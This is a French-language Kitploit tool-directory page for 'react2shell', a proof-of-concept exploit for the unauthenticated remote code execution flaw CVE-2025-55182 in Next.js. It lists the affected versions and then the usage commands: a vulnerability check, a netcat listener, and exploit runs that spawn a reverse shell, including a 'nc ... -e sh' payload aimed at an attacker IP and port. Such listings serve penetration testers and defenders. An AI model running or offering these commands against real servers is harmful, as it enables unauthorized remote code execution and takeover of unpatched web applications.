Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/xkey8/react2shell
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingOutil d'Accès à Distance
GitHubxkey8/react2shell

react2shell

PoC pour React2Shell (CVE-2025-55182)

Voir le dépôt
12il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

React2Shell

Preuve de concept pour l'exploitation de la vulnérabilité d'exécution de code non authentifiée CVE-2025-55182, également connue sous le nom de React2Shell. Le script utilisé pour obtenir un shell sur les versions de Next.js antérieures à ;

  • 15.0.4 et inférieures
  • 15.1.8 et inférieures
  • 15.2.5 et inférieures
  • 15.3.5 et inférieures
  • 15.4.7 et inférieures
  • 15.5.6 et inférieures
  • 16.0.6 et inférieures
  • 14.3.0-canary.77 et versions ultérieures

Il n'a été testé que sur la version 16.0.6.

Utilisation

root@kitploit:~
$ ./react2shell.py --help
d8888b. d88888b  .d8b.   .o88b. d888888b .d888b. .d8888. db   db d88888b db      db
88  `8D 88'     d8' `8b d8P  Y8 `~~88~~' VP  `8D 88'  YP 88   88 88'     88      88
88oobY' 88ooooo 88ooo88 8P         88       odD' `8bo.   88ooo88 88ooooo 88      88
88`8b   88~~~~~ 88~~~88 8b         88     .88'     `Y8b. 88~~~88 88~~~~~ 88      88
88 `88. 88.     88   88 Y8b  d8    88    j88.    db   8D 88   88 88.     88booo. 88booo.
88   YD Y88888P YP   YP  `Y88P'    YP    888888D `8888Y' YP   YP Y88888P Y88888P Y88888P

usage: react2shell [-h] -u URL -i IP -p PORT

options:
  -h, --help       affiche ce message d'aide et quitte
  -u, --url URL    URL cible
  -i, --ip IP      IP de l'attaquant
  -p, --port PORT  Port de l'attaquant

vérifier si la cible est vulnérable ;

root@kitploit:~
./react2shell.py -u http://127.0.0.1:3000
Télécharger l’outil

démarrer un écouteur ;

root@kitploit:~
$ nc -lvp 4444

démarrer un shell ;

root@kitploit:~
$ ./react2shell.py -u http://127.0.0.1:3000 -i 127.0.0.1 -p 4444
$ ./react2shell.py -u http://127.0.0.1:3000 -c 'nc 127.0.0.1 4444 -e sh' # vous pouvez aussi fournir une commande


Références

  • https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3
  • https://nvd.nist.gov/vuln/detail/CVE-2025-55182
  • https://nextjs.org/blog/CVE-2025-66478
  • https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components